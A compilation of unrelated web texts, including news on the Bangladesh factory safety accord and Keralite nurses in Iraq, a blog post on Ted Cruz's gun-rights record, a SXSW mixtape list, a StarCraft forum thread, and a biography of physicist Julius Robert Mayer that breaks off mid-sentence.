Marks & Spencer, and at least three US companies: Abercrombie and Fitch, PVH, the parent company of Calvin Klein and Tommy Hilfiger, and Sean John.  To allow for inspections, the western retailers have agreed to make public by 15 July a list of more than 1,000 names and addresses of Bangladeshi factories they use. International teams of fire and building safety inspectors, working with inspectors in Bangladesh, will inspect all the signatories supply factories within nine months to identify "grave hazards" and the need for "urgent repairs".  The failure of more US retailers to join the Accord on Fire and Building Safety in Bangladesh has led to criticism from unions and human rights groups. They say the European-led plan will make factories safer.  However, leading North American retailers, including Walmart, will come together on Wednesday to announce details of a rival plan: the Alliance for Bangladesh Worker Safety. Documents found in the rubble of the Tazreen factory showed that garment users supplying goods to Walmart and Sears were using the plant at the time of the fire. However, Walmart and Sears said they had no idea their clothes were being made at the factory.  The North American initiative was developed through a process facilitated by US senators George Mitchell and Olympia Snowe.  Christy Hoffman, the deputy general of UNI Global Union, said that the brands would require the factories to come up to certain standards and, when they do not, they would help to pay to bring them up to scratch.  Hoffman said it was "unfortunate" that more US brands have not joined. She said: "We have 75 brands signed up to this accord and we will be prepared to move forward without the US."  She said that joining the accord would cause a "very, very small increase" in the price of garments, "something like 2¢ per T-shirt".  "That is what it costs to make things safe in Bangladesh."  Jyrki Raina, the general secretary of the IndustriALL global union, said: "This historic accord will effect tangible change on the ground and help make the Bangladeshi garment industry safe and sustainable. Voluntary initiatives have proved insufficient, as 1,800 Bangladeshi garment workers have died in factory fires and building collapses during the past seven years."  Raina said that a "profound change" needed was only possible with a strong coalition between trade unions, international brands and retailers and Bangladeshi authorities with worker involvement.  A central aspect to the Accord, which is supported by the Workers Rights Consortium and the NGS Clean Clothes Campaign, is that it involved workers and their representatives. It also commits signatories to staying in Bangladesh for at least two years of the accord.  Critics have suggested that US companies were concerned over the cost of the plan.  Kevin Gardner of Walmart told the Guardian, in an email said that it had "taken a number of actions that meet or exceed other factory safety proposals" including strengthening safety standards, a "zero tolerance of unauthorised subcontracting" and "in-depth safety audits and remediations" made to every factory directly making its products.  Gardner said that Walmart was part of an alliance of retailers, industry associations and the Bipartisan Police Center, which was looking a the issue and would release details of their safety plan on Wednesday.  "What happened at the Tazreen and Rana Plaza factories is tragic." he said. "We are saddened by this situation and are working every day to improve worker safety in Bangladesh. Over the past several months we've taken a number of actions that meet or exceed other factory safety proposals and put out a lot of information on our audit process."
-Iraqi Turkomen raise their weapons during an announcement proclaiming the formation of a defense system to protect their own areas at the Iraqi Turkmen Front Headquarters in the oil-rich city of Kirkuk. (Photo: AP)  Thiruvananthapuram: Amid anxieties of families of Keralite nurses and students stranded in violence-hit cities in Iraq, Kerala Government on Tuesday said it has been doing all that it could for their safe return.  As the issue figured in the state Assembly, Minister for Non-Resident Keralalites Affairs K C Joseph said Government had information that 44 nurses stranded in trouble-torn Tikrit in Iraq were safe.  We will monitor situation on hourly basis and keep you updated: Syed Akbaruddin, MEA on Iraq crisis pic.twitter.com/XqntQZ97J7 — ANI (@ANI_news) June 17, 2014 According to the Indian Embassy in Iraq they could be evacuated only when the road from their hospital to the nearest airport became risk-free as heavy bombing was going  Crisis Management meeting underway on situation in Iraq and possibilities of assistance to Indian nationals. — Syed Akbaruddin (@MEAIndia) June 17, 2014 on in the area.  The nurses were safe according to a group of officials of International Red Crescent who met them last night,he said. Stating that the situation in Iraq was serious, he said  many places were under the control of ISIL militants.  A 24x7 Helpline has been set up under the state NRK agency Norka to provide updated information on the situation. Chief Minister Oommen Chandy had already written to External Affairs Minister Sushma Swaraj seeking urgent steps for the safe evacuation of the Keralites from the violence-hit areas of Iraq.  Out of these stranded nurses, 36 of them were keen to return home immediately, he said.  Shiite tribal fighters raise their weapons and chant slogans against the al-Qaida-inspired Islamic State of Iraq and the Levant (ISIL) . (Photo: AP)  The state Government had received representations from the parents of students seeking immediate intervention to bring their wards from Iraq.  Meanwhile, father of one of the nurses working in Tikrit said his daugther Merina Jose called him this morning and said she was safe but anxious about the future.  "My daughter called me this morning. She said she and others working in the same hospital are safe but are anxious about what will happen to them," P A Jose from Kottayam told PTI.  Shiite tribal fighters carry a poster of Shiite spiritual leader Grand Ayatollah Ali al-Sistani. (Photo: AP)  Jose said he and parents of others were praying for the safe return of their children and expected that the Centre would intervene for their evacuation without delay.  Watch Video: Iraq crisis: Video appears to show Iraqi prisoners ridiculed before being shot, courtesy ITN
-Elected to the United States Senate in 2012, Ted Cruz currently represents the Great State of Texas. While one can never fully believe a politician unless their lips aren’t moving, Cruz is arguably the most pro-gun rights Republican presidential candidate we’ve looked at thus far in this series (read our articles on Donald Trump, Marco Rubio, and Ben Carson to get perspective on some of the others).  Let’s take a look at the details—then you can make your own decision.  What he says  When it comes to official and written policy statements, Cruz is direct about his positions on gun rights. He’s even published a dedicated Second Amendment flyer with which he highlights his positions. Leading off that piece is a quote from Tim Macy, Chairman of Gun Owners of America (GOA).  “Gun Owners of America is proud to endorse Senator Ted Cruz for the office of President of the United States. Cruz has been a strong advocate for Second Amendment rights as a U.S. Senator, and he will continue to defend our gun rights from the Oval Office.”  As GOA has a pretty solid “no compromise” approach when it comes to the defense of gun rights, this is a ringing endorsement.  He also had a pivotal role in the critically important District of Columbia v. Heller case, submitting a pro-Second Amendment amicus brief on behalf of 31 different states in favor of the Heller argument. To be fair, he’s taken some heat over some of the specific content of that brief. Without getting entirely into the deep end of the pool, some arguments therein stated that states would and should have regulation rights on certain types of weapons like the bans then in place in states like New York, California, and Connecticut. Since that time, his public position has been the opposite. Why? Most observers believe that he was making arguments on behalf of his clients (31 states) to serve the best overall interest of that specific case. When speaking personally, he’s not limited to the “speaking on behalf of clients” issue. Legal and political issues are never cut and dry.  Regardless, the NRA seemed happy about his role in Heller. Wayne LaPierre, NRA Executive Vice President, also makes an appearance in Cruz’s campaign materials. “Ted Cruz is one of our nation’s leading defenders of the Second Amendment. For over a decade, Ted has fought tirelessly to defend our constitutional right to keep and bear arms, and his leadership was absolutely critical to our major victories before the U.S. Supreme Court.”  Later, in September 2013, Cruz joined 49 other Senators and authored a letter to President Obama indicating some serious displeasure with his stated plans to move toward the adoption of a treaty with the United Nations seeking to bind the United States to international gun control efforts. No matter that only the Senate has the authority to authorize treaties and that the proposed terms were in direct violation to the Constitution of the United States.  Dear President Obama: We write to express our concern and regret at your decision to sign the United Nations’ Arms Trade Treaty. For the following reasons, we cannot give our advice and consent to this treaty: The treaty violates a 2009 red line laid down by your own administration: “the rule of consensus decision-making.” In April 2013, after the treaty failed to achieve consensus, it was adopted by majority vote in the UN General Assembly. The treaty allows amendments by a 3/4 majority vote. When amended, it will become a source of political and legal pressure on the US to comply in practice with amendments it was unwilling to accept. The treaty includes only a weak, non-binding reference to the lawful ownership and use of firearms, and recognizes none of these activities, much less individual self-defense, as fundamental individual rights. It encourages governments to collect the identities of individual end users of imported firearms at the national level, which would constitute the core of a national gun registry. The State Department has acknowledged that the treaty is “ambiguous.” By becoming party to the treaty, the US would therefore be accepting commitments that are inherently unclear. The criteria at the heart of the treaty are vague and easily politicized. They will steadily subject the US to the influence of internationally-defined norms, a process that would impinge on our national sovereignty. The treaty criteria as established could hinder the US in fulfilling its strategic, legal, and moral commitments to provide arms to key allies such as Taiwan and Israel. We urge you to notify the treaty depository that the US does not intend to ratify the Arms Trade Treaty, and is therefore not bound by its obligations. As members of the Senate, we pledge to oppose the ratification of this treaty, and we give notice that we do not regard the US as bound to uphold its object and purpose.  Earlier this month, Cruz voted “nay” against two Senate bills regarding expanded background checks and closing the “terrorist loophole.” In neither case did Cruz have to step far out of the mainstream. Launched by Senators Manchin, Kirk, and Toomey. The bill would have required background checks and waiting periods on “gun show” sales and was largely symbolic. This is really an issue over the legality of the private sale of property and criminals don’t acquire guns at gun shows anyway. The second was the “no fly, no gun” effort launched by Senator Dianne Feinstein. Intended to deny gun rights to anyone the government decides to put on a secret “suspect” list, this bill angered plenty on both sides of the issue for its flagrant disregard of that pesky little gem we call due process. It’s not often that the NRA and ACLU get upset about the exact same thing. If something like this ever passes on any topic, guns or otherwise, hold on to your shorts and hope that your preferred party stays in charge, else you might find yourself on a secret list.  How he’s voted  Having been in the Senate a few years, Cruz has not only voted, but sponsored his own bills on the topic, so let’s take a look at those first.  In March 2013, he introduced S 729 and S 730, both of which were related to investigation and prosecution of felons and fugitives who illegally purchase firearms through straw purchases and black market activity. Senators Cruz and Grassley also teamed up to reduce restrictions and interstate transfer and sale of firearms. This bill also would have allowed military members to purchase firearms in states where they are stationed, regardless of their state of permanent residence.  The rest of 2013 was a busy year for Candidate Ted. He also was the second to jump on board Senator Rand Paul’s plan to filibuster gun control efforts launched by Harry Reid. “We will oppose the motion to proceed to any legislation that will serve as a vehicle for any additional gun restrictions,” the three conservatives wrote in a copy of the signed letter obtained by POLITICO. The filibuster team ultimately grew to 12 Senators.  Our best guess  Cruz has always been up front and vocal about his support of all constitutional issues, and when you boil out all the rhetoric and hand-wringing, gun rights are, in fact, a pure constitutional discussion. In my view, that adds some backbone to his subject matter talk when it comes to guns, at least more than the other political lemmings that make vague statements like “Sure, I support the Second Amendment…”  He talks the talk, but do you think he walks the walk?  What say you? And don’t forget to check out the other articles in this series on Marco Rubio, Donald Trump, and Ben Carson.  Tom McHale is the author of the Insanely Practical Guides book series that guides new and experienced shooters alike in a fun, approachable, and practical way. His books are available in print and eBook format on Amazon.  Featured image created using Ted Cruz image by Gage Skidmore on the Wikimedia Commons and gun shop wall image from Michael Saechang on flickr  What's Your Reaction?
-Before indoor plumbing and hot water heaters became commonplace in American homes, frequent bathing was a bit of an ordeal. Water had to be fetched and heated over a fire before a person could so much as dip a toe into the bathtub. The process was inconvenient (and still is in many developing nations), and all the members of a family generally used the same water to bathe and carry out other chores, like washing laundry, before it was tossed out.  We have Norwegian engineer Edwin Ruud to thank for inventing the home water heater in 1889. In Ruud's design, a switch ignited the gas heaters when a faucet was turned on in the house, producing hot water on demand [source: Ruud]. The same era saw the introduction of a slew of shower designs. A number of competing showers offered a variety of spray settings and directions, but most had unfortunate closed-system designs; the water that came from the showerhead went into the drain to be recirculated back up to the showerhead once more.  The advent of indoor plumbing would tie these inventions together. The Tremont in Boston became the first hotel in the world to feature indoor plumbing in 1829. Architect Isaiah Rogers would design the prototype for all indoor plumbing schemes to follow [source: Plumbing and Mechanical Magazine]. By the end of World War I, modern bathrooms were common in middle-class homes; by the 1930s, rural Americans had come to know the joy of daily showering [sources: McKendree, Reinhardt and Ganzel].  There's something luxurious about even a mundane morning shower. Anyone who's ever taken a warm shower at the end of a tough day knows the calming influence it exerts. Science backs up these bathers' collective anecdotal evidence. In fact, one Japanese study examined the prevalence of hormones found in saliva that serve as stress indicators. It showed a significant decrease in stress levels following bathing [source: Toda, et al].  Since we have indoor plumbing leading to showers that release hot water onto our stressed shoulders, it seems like a waste not to shower frequently. How much is too much, though, when it comes to the health of your skin? You likely shower every day, but is that more often than you should?
-SXSW, the annual pulled-pork crawl and Frito pie gorge-sesh scored by hundred of bands, is almost upon us! Our bags are packed, our amazing parties are booked, and we’ve called St. David’s South Austin Medical Center who has kindly reminded us that, no, we cannot put Stubb’s BBQ sauce on an IV drip. The final thing missing is a proper soundtrack. To that end, here is a 60-track blowout of the hottest, most anticipated, must-see acts at SXSW. They run the gamut from a recent crop of SPIN Essentials (Caitlin Rose, Waxahatchee) to living legends (Souls of Mischief) to bands we hand-picked to play our incredible parties at Stubb’s (Unknown Mortal Orchestra) and at the SPIN House (Antwon, the Coathangers, Wampire, Bleached).  Download this monster right here or stream it below. And we’ll see you where the stars at night are big and bright.  And don’t miss our roundup of 40 must-see SXSW bands here!  :audio=0:111182:playlist:Austin Power: SPIN’s Best SXSW Acts 2013:  SPIN Presents Austin Power: A SXSW 2013 Mixtape  1. A.Dd+ – “Can’t Come Down”  2. Andrew Cedermark – “Hard Livin'”  3. Antwon – “Automatic”  4. Beach Fossils – “Generational Synthetic”  5. Beacon -” Bring You Back”  6. Bleached – “Next Stop”  7. BLKHRTS – “Bloodlines of that Gangsta Shhhhh”  8. Caitlin Rose – “Waitin'”  9. California X – “Pond Rot”  10. Celestrial Shore – “Valerie”  11. Cheatahs – “The Swan”  12. Chippy Nonstop – “??? BOUNCE ???”  13. The Coathangers – “Merry Go Round”  14. Dent May – “Best Friend”  15. Dizzy Wright feat. Nikkiya – “Fly High”  16. Dog Bite – “Forever, Until”  17. Doldrums – “Anomaly”  18. The Dopplegangaz – “Hark Back”  19. Ducktails – “Letter of Intent”  20. GEMS – “All I Ever”  21. Generationals – “Put A Light On”  22. Hanni El Khatib – “Family”  23. Hot Sugar – “The Girl Who Stole My Tamogatchi”  24. Iamsu! – “Mobbin'”  25. Isaac Delusion – “Transistors”  26. Jacuzzi Boys – “Cool Vapors”  27. Joshua James – “Queen of the City”  28. Keep Shelly in Athens – “Madmen Love”  29. Kisses – “The Hardest Part”  30. Kopecky Family Band – “Heartbeat”  31. Levek – “Black Mold Grow”  32. Lightouts – “Want”  33. Lissie – “In Sleep (Live)”  34. Mac DeMarco – “Freaking Out The Neighborhood”  36. Maria Minerva – “Black Magick”  37. MHz Legacy feat. Slug of Atmosphere – “Satisfied”  38. Moon King – “Appel”  39. Mr. MFN eXquire feat. Gucci Mane – “Telephuck”  40. Nu Sensae – “Swim”  41. PAWS – “Miss American Bookworm”  42. Roach Gigz – “Full Time Job”  43. Ski Lodge – “Just To Be Like You”  44. Sky Ferreira – “Everything Is Embarrassing”  45. The Soft Moon – “Die Life”  46. Souls of Mischief – “’93 ‘Til Infinity”  47. Supreme Cuts – “Lessons of Darkness (Apology)”  48. Toro y Moi – “Say That”  49. Trash Talk – “Exile on Broadway”  50. Unknown Mortal Orchestra – “So Good at Being in Trouble”  51. Wampire – “Spirit Forest”  52. Wavves – “Demon To Lean On”  53. Wax Idols – “Sound of a Void”  54. Waxahatchee – “Peace and Quiet”  55. Weekend – “Sirens”  56. White Lung – “Take the Mirror”  57. WHY? – “Waterlines”  58. Widowspeak – “Thick as Thieves”  59. Youth Lagoon – “Dropla”  60. 100s – “Land of the Laced”
-On May 6th, when Captain America: Civil War is officially released to theaters, fans of the Marvel Universe will get to see new adventures involving many of their favorite superheroes, including Iron Man. The alter-ego of arrogant billionaire tech engineer Tony Stark, Iron Man draws his might from the powerful high-tech exoskeleton which Stark keeps tweaking for added protection and enhanced munitions. Since he first appeared in comic books in March 1963, Tony Stark’s suit of armor has been through many incarnations in comics and film; the Wikipedia page for Iron Man’s armor lists dozens of suits and armor add-ons going back to the 1960s.  After Iron Man’s adventures in last year’s Avengers: Age of Ultron, there are at least three suits which are in working order, despite varying degrees of damage. Of these, the most advanced is the Mark XLVI, or Mark 46, which is put into commission after the most recent Avengers film but prior to the upcoming Civil War. The Mark XLVI is a model of armament engineering and Stark’s first to have a fully retractable helmet. A series of arc reactors light up the area around the suit, echoing Iron Man’s Bleeding Edge Armor from the comic book series and giving Stark a 360 degree panoramic view while wearing it. The armor’s weaponry includes the standard repulsors which Iron Man uses to blind or paralyze opponents with light energy from the arms or the chest’s Unibeam. The suit also gives Stark the ability to take on enemies with lasers and mini-missile launchers for a variety of offensive tactical options. Of course, the armor is also fully capable of zipping Stark through the sky at high speeds thanks to the suit’s repulsors, jet boots and flight stabilizers.  The incredible personalities and superhuman abilities of superheroes has inspired us at IPWatchdog to pursue a Superhero Tech series where we look at the intersection between fictional powers and real-world technologies. Beginning with our look at Captain America’s bulletproof shield, we’ll be strolling through both the Marvel and DC universes in the coming months as other major motion pictures like X-Men: Apocalypse or Suicide Squad are shown across the globe.  Perhaps the most important component to any Iron Man suit is the arc reactor core, which provides the energy required to power the suit’s repulsors and other equipment. Although there is no true real world equivalent to the arc reactor, it’s been speculated based on cinematic depictions of the unit that it functions as a multi-isotope radio decay cell for nuclear energy generation using a palladium core. It’s also assumed that the reactor could not be a hot-fusion reactor as it sits within Tony Stark’s chest and would char him from the inside out.  The round donut-shape of the arc reactor of the Iron Man movies resembles that seen in the designs for the International Thermonuclear Experimental Reactor (ITER). Established in 2007, ITER involves research and support from 35 member nations during a 35-year partnership aimed at producing the world’s first nuclear fusion device that will produce a net energy gain. ITER’s round shape comes courtesy of its tokamak design, resulting in a magnetic fusion device weighing 23,000 tons holding a plasma which reaches temperatures of up to 150,000,000°C, 10 times as hot as the sun’s core. This type of fusion device requires heat generation to create steam that produces electricity from turbines, making it a poor choice for use within the human body. The tokamak, first designed by Soviet Union engineers in the 1960s, uses its donut-shaped vacuum chamber to house hydrogen gas which becomes plasma under conditions of extreme heat and pressure.  ITER specifically, and tokamaks in general, theoretically function on principles of magnetic confinement fusion, where magnetic force is applied to charged plasma particles within a fusion reactor in order to maintain a circular path for those particles. Keeping plasma aligned on a circular path throughout the reactor allows the plasma to generate the heat necessary for steam production without contacting whatever material is making up the reactor walls, which could damage the reactor because of the plasma’s incredibly high temperatures.  Last August, reports on a breakthrough in nuclear fusion reactor design from researchers at the Massachusetts Institute of Technology (MIT) could indicate that commercially viable tokamak reactors could be running within five to ten years. MIT’s reactor design, based on essentially the same physics behind ITER and other tokamaks, incorporates the use of superconductors composed of rare-earth barium copper oxide (REBCO) superconducting tapes, which have become commercially available only in recent years. The new superconducting materials enable stronger magnetic fields for even more plasma control, allowing smaller reactors to increase fusion power by a factor of 10. This would allow MIT to build a reactor half the size of ITER which would produce about the same amount of energy at a much lower cost. One working ARC reactor, which is what MIT calls its nuclear reactor design, could produce 200 megawatts (MW) of power delivered to the electric grid from a 50 MW input.  The U.S. Department of Defense (DoD) won’t be outfitting its soldiers with personal nuclear reactors any day soon but we could see powered exoskeletons helping to increase the natural ability of human soldiers in just a few years time. The Tactical Light Operator Suit (TALOS) began development in 2013 to provide additional protection to tactical forces entering potentially dangerous buildings. The battery-powered exoskeleton is designed to weigh about 13 pounds while helping soldiers carry an extra 33 pounds of equipment when worn. TALOS will also help to make soldiers more impervious to bullets and bomb blasts and will have an integrated cooling system involving a pump circulating cool water through a series of tubes between the wearer’s skin and the suit. As of this May, the project was on track for a 2018 completion date.  Tony Stark’s array of futuristic gadgetry also includes incredibly immersive augmented reality (AR) computer interfaces which allow him to interact with computerized models through a series of quick gestures. Although the same type of holographic interface is impossible in our world without a wearable computing device, perhaps today’s strongest candidate for a stand-alone AR solution are the SpaceGlasses developed by American AR tech firm Meta. SpaceGlasses offer two 1280×720 pixel displays on a screen size which is 15 times that offered by Google Glass, providing a 40-degree field of view. Other components include depth sensors, twin RGB cameras, surround sound and a 9-axis integrated motion unit which has a gyroscope, a compass and an accelerometer.  Elon Musk, a man who shares many similarities with the Tony Stark of the Marvel series of films, is also trying to make certain aspects of Stark’s lab a reality. His virtual reality (VR) workspace utilizes a Leap Motion Controller which enables gesture control of computer-aided design (CAD) tools on a monitor without any head-mounted computing device. The use of an Oculus Rift VR headset is coupled with the gesture control technology to provide an immersive interaction experience with products being designed, and Musk demonstrates the use of his system with 3D printing technology to a cryogenic valve housing for use in SpaceX rockets.  Full flight capabilities via jet boots and energy-blasting repulsors are currently beyond our technological capabilities but it’s exciting to see innovations dreamt up decades ago come to fruition. No doubt that the events depicted in the upcoming Captain America: Civil War will add to to the legend of Iron Man, a legend made possible by the engineering prowess of Tony Stark and the powered suits reflecting the strength of the world of high-tech development.  Image Source 123RF.com ID  Image ID : 19464680  Copyright : Norman Kin Hang Chan
-Eywa- Profile Blog Joined August 2010 Canada 3607 Posts Last Edited: 2012-06-11 04:16:42 #1  Disclaimer  This is entirely the work of LRM)Game, I am merely writing the thread  Stream:  Minus)Eagle, ex-progamer and ISL3 showmatch player is now streaming on Twitch.TV, please do show him the foreign love and support his stream! Welcome him as one of your own and so he shall love you in return! Oh, and you'll get to see some great Brood War in the process.  Hello ladies and Gentlemen,DisclaimerThis is entirely the work of LRM)Game, I am merely writing the threadStream: Minus)Eagle Minus)Eagle, ex-progamer and ISL3 showmatch player is now streaming on Twitch.TV, please do show him the foreign love and support his stream! Welcome him as one of your own and so he shall love you in return! Oh, and you'll get to see some great Brood War in the process. - Player Bio -  Name: Jin Woong  Primary ID: Minus)Eagle  Other Alias: RuaL.Woong, [neox]mini  Ex-Samsung Khan progamer  Max rank: 1800+ On fish Server  Now, minus)Eagle is a semi-progamer who has previously played in the OSL, leaving his group with a 1-2 score. His other accomplishments include the Hodduk and BJ starleagues Ro16 appearances. AND, more important than anything, he played in the ISL3 showmatch!  This guy is good stuff, really gosu and entertaining PvZ for sure, his other match ups are likely to be equally entertaining as he seems to enjoy very amusing styles of play, so don't miss out! Check him out now.  Stream:  http://www.teamliquid.net/forum/viewmessage.php?topic_id=343875 Name: Jin WoongPrimary ID: Minus)EagleOther Alias: RuaL.Woong, [neox]miniEx-Samsung Khan progamerMax rank: 1800+ On fish ServerNow, minus)Eagle is a semi-progamer who has previously played in the OSL, leaving his group with a 1-2 score. His other accomplishments include the Hodduk and BJ starleagues Ro16 appearances. AND, more important than anything, he played in the ISL3 showmatch!This guy is good stuff, really gosu and entertaining PvZ for sure, his other match ups are likely to be equally entertaining as he seems to enjoy very amusing styles of play, so don't miss out! Check him out now.Stream: Minus)Eagle Being mannered is almost as important as winning. Almost...  olabaz Profile Blog Joined April 2009 United States 242 Posts #2 Awesome! Hopefully he streams consistently and doesn't stop after a few days!  gutshot Profile Joined February 2011 United States 426 Posts Last Edited: 2012-06-11 03:46:17 #3 sexyy!!!  this needs to be featured ASAP  Rlentless Profile Joined January 2011 Hong Kong 319 Posts #4 YES!!! (is all i can say)  LightningStrike Profile Joined February 2011 United States 9203 Posts #5 Woot another bw streamer from afreeca :O i hope he continues to stream May the next light shine/Former #1 Alliance LoL fan/ Current Teamliquid LoL Fan  ii.blitzkrieg Profile Blog Joined November 2006 Canada 1099 Posts #6 Thanks!  Will definitely be watching. iloveoov / Flash / Fantasy / Midas / Boxer -BW forever  Messi Profile Joined September 2011 United States 208 Posts Last Edited: 2012-06-11 04:33:21 #7 His alias is [Neox]mini, not rual.woong (currently). And i wont talk about the entire work of someone.  I am not mad at anything. Sorry for misunderstadning there. Blame on my english! sorry!  Eywa- Profile Blog Joined August 2010 Canada 3607 Posts #8 On June 11 2012 13:01 Messi wrote:  His alias is [Neox]mini, not rual.woong. And i wont talk about the entire work of someone.  Your post is introduced in a hostile manner which kind of makes me feel like discarding it entirely, however, if minus)eagle says he has a nickname of "RuaL.Woong", I'm afraid that's far more credible than having you deny it. ^^ Feel free to leave more messages without thinking, I shall dismiss them. Your post is introduced in a hostile manner which kind of makes me feel like discarding it entirely, however, if minus)eagle says he has a nickname of "RuaL.Woong", I'm afraid that's far more credible than having you deny it. ^^ Feel free to leave more messages without thinking, I shall dismiss them. Being mannered is almost as important as winning. Almost...  Jaaaaasper Profile Blog Joined April 2012 United States 5667 Posts Last Edited: 2012-06-11 04:12:27 #9 This is awesome, so cool to see another streamer from afreeca streaming on twitch, in addition i would assume. I hope this stream gets featured quickly.  Also he is speaking with supernovemaniac on skype, so mad props to snm for helping out. <3 you nub. Hey do you want to hear a joke? Chinese production value. | I thought he had a aegis- Ayesee | When did 7ing mad last have a good game, 2012?  kjwcj Profile Joined November 2011 Australia 1061 Posts Last Edited: 2012-06-11 05:03:15 #10  God tier PvT and a funny guy, even through the language barrier. Really cool to see him streaming on TL, hopefully he can make Twitch work for him as well as Afreeca has done. rual.woong was his main ID on Fish for a very long time, I don't see why you'd get mad about having it listed.God tier PvT and a funny guy, even through the language barrier. Really cool to see him streaming on TL, hopefully he can make Twitch work for him as well as Afreeca has done. Writer  Sawamura Profile Blog Joined August 2010 Malaysia 7576 Posts #11 Minus eagle fighting gogogo! BW/KT Forever R.I.P KT.Violet dearly missed ..  FyRe_DragOn Profile Blog Joined November 2006 Canada 1935 Posts #12 fucking nice aka DragOn[NaS]  Zeran Profile Joined April 2012 Bulgaria 7 Posts #13 Why this is not featured  Harem Profile Joined November 2007 United States 10817 Posts #14 It's called everyone that can is currently at MLG or I'd have gotten someone to do it hours ago. Moderator  corumjhaelen Profile Blog Joined October 2009 France 6865 Posts #15 Cocky and hyper agressive, a pleasure to watch =) ‎numquam se plus agere quam nihil cum ageret, numquam minus solum esse quam cum solus esset  L_Master Profile Blog Joined April 2009 United States 7609 Posts #16 Crazy mode awesome!!  Really hope he sticks around longer than a month or two (not that it wasn't a HUGE treat to see HiyA or Dove owning it up either) EffOrt and Soulkey Hwaiting!  Gao Xi Profile Blog Joined June 2009 Hong Kong 5114 Posts #17 Sick good player, hopefully streams often, really enjoy the play and the music. 龔智禮 _________________________________________________________________________________________________ ＣＪ ＮＡＴＩＯＮ  Stratos Profile Blog Joined July 2010 Czech Republic 6104 Posts #18 Omfg I can't wait to see a 1800+ protoss stream. Gogo Minus)Eagle! Btw. didn't In_Dove had a Rual.____ id? Is there any connection maybe? ^^ Holy frack I'm typing shit here and when I unclick the unfeatered streams it's LIVE> bb En Taro Violet  ImbaTosS Profile Blog Joined January 2009 United Kingdom 1648 Posts #19 Oh yes. OH YES! EleGant[AoV] My TLPD sucks. I'm good though, I swear...  538 Profile Blog Joined November 2008 Hungary 3931 Posts #20 Awesome, thank you! BW fighting!  1 2 3 4 5 6 7 8 Next All
-In Abandoned, Europe / By Tom / 26 August 2013  (All images by Martin Vaissie Pictures (MartinVaissie.com, MVPrints, Pheizy), all rights reserved)  Standing abandoned on the banks of the Meuse river in Liege, Université du Val Benoît takes its name from a Cistercian abbey that was damaged during the ‘Happy Revolution’ of 1789-1791 and destroyed during World War Two. The decaying modernist buildings that occupy the site today were constructed between 1930 and 1965, part of an institution that once produced some of the finest mathematicians in Belgium. The abandoned university buildings have been a mecca for urban explorers since they were vacated in 2005. But a master-plan is in place to rehabilitate the modernist ruins by 2015. Some buildings have already been overhauled for use as light industry, office and co-working space, while the grounds are set to be transformed into an urban park alongside housing and retail. Want more? Explore 9 Abandoned Schools and Universities here.  (Keep reading – explore 5 Pillars of the Abandoned World & 20 Abandoned Mansions)  Get the latest news delivered straight to your inbox! Simply subscribe by RSS or email.
-HYPERINFLATION requires a good head for figures and a sturdy wallet to hold wads of low-value paper money. Goverments have attempted to keep pace with hyperinflation by issuing ever-higher denomination banknotes to replace worthless notes that might as well serve as wallpaper. Last week Zimbabwe's central bank unveiled a 100 billion dollar banknote to cope with inflation running at 2.2m%. On Sunday July 27th the bank changed tack and announced it would be lopping off a string of zeroes on replacement notes, in what passes for economic reform in stricken Zimbabwe. But Robert Mugabe has some way to go before he can claim for his country the accolade of printing the highest-denomination banknote. A note issued in post-war Hungary came with a mind-boggling 19 digits.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
-Julius Robert Mayer (November 25, 1814 – March 20, 1878) was a German physician, chemist and physicist and one of the founders of thermodynamics. He is best known for enunciating in 1841 one of the original statements of the conservation of energy or what is now known as one of the first versions of the first law of thermodynamics, namely that "energy can be neither created nor destroyed".[1][2] In 1842, Mayer described the vital chemical process now referred to as oxidation as the primary source of energy for any living creature. His achievements were overlooked and priority for the discovery of the mechanical equivalent of heat was attributed to James Joule in the following year. He also proposed that plants convert light into chemical energy.  Early life [ edit ]  Von Mayer was born on November 25, 1814 in Heilbronn, Württemberg (Baden-Württemberg, modern day Germany), the son of a pharmacist. He grew up in Heilbronn. After completing his Abitur, he studied medicine at the University of Tübingen, where he was a member of the Corps Guestphalia, a German Student Corps. During 1838 he attained his doctorate as well as passing the Staatsexamen. After a stay in Paris (1839/40) he left as a ship's physician on a Dutch three-mast sailing ship for a journey to Jakarta.  Although he had hardly been interested before this journey in physical phenomena, his observation that storm-whipped waves are warmer than the calm sea started him thinking about the physical laws, in particular about the physical phenomenon of warmth and the question whether the directly developed heat alone (the heat of burning), or the sum of the quantities of heat developed in direct and indirect ways are to be accounted for in the burning process. After his return in February 1841 Mayer dedicated his efforts to solve this problem.  In 1841 he settled in Heilbronn and married.  Development of ideas [ edit ]  Even as a young child, Mayer showed an intense interest with various mechanical mechanisms. He was a young man who performed various experiments of the physical and chemical variety. In fact, one of his favorite hobbies was creating various types of electrical devices and air pumps. It was obvious that he was intelligent. Hence, Mayer attended Eberhard-Karls University in May 1832. He studied medicine during his time there.  In 1837, he and some of his friends were arrested for wearing the couleurs of a forbidden organization. The consequences for this arrest included a one year expulsion from the college and a brief period of incarceration. This diversion sent Mayer traveling to Switzerland, France, and the Dutch East Indies. Mayer drew some additional interest in mathematics and engineering from his friend Carl Baur through private tutoring. In 1841, Mayer returned to Heilbronn to practice medicine, but physics became his new passion.  In June 1841, he completed his first scientific paper entitled "On the Quantitative and Qualitative Determination of Forces". It was largely ignored by other professionals in the area. Then, Mayer became interested in the area of heat and its motion. He presented a value in numerical terms for the mechanical equivalent of heat. He also was the first person to describe the vital chemical process now referred to as oxidation as the primary source of energy for any living creature.  In 1848 he calculated that in the absence of a source of energy the Sun would cool down in only 5000 years, and he suggested that the impact of meteorites kept it hot.[3]  Since he was not taken seriously at the time, his achievements were overlooked and credit was given to James Joule. Mayer almost committed suicide after he discovered this fact. He spent some time in mental institutions to recover from this and the loss of some of his children. Several of his papers were published due to the advanced nature of the physics and chemistry. He was awarded an honorary doctorate in 1859 by the philosophical faculty at the University of Tübingen. His overlooked work was revived in 1862 by fellow physicist John Tyndall in a lecture at the London Royal Institution. In July 1867, Mayer published "Die Mechanik der Wärme." This publication dealt with the mechanics of heat and its motion. On November 5, 1867, Mayer was awarded personal nobility by the Kingdom of Württemberg (von Mayer) which is the German equivalent of a British knighthood. Julius Robert von Mayer died from tuberculosis on March 20, 1878 in Germany.  Mayer's place in the history of physics [ edit ]  After Sadi Carnot stating it for caloric, Mayer was the first person to state the law of the conservation of energy, one of the most fundamental tenets of modern day physics. The law of the conservation of energy states that the total mechanical energy of a system remains constant in any isolated system of objects that interact with each other only by way of forces that are conservative.  Mayer's first attempt at stating the conservation of energy was a paper he sent to Johann Christian Poggendorff's Annalen der Physik, in which he postulated a 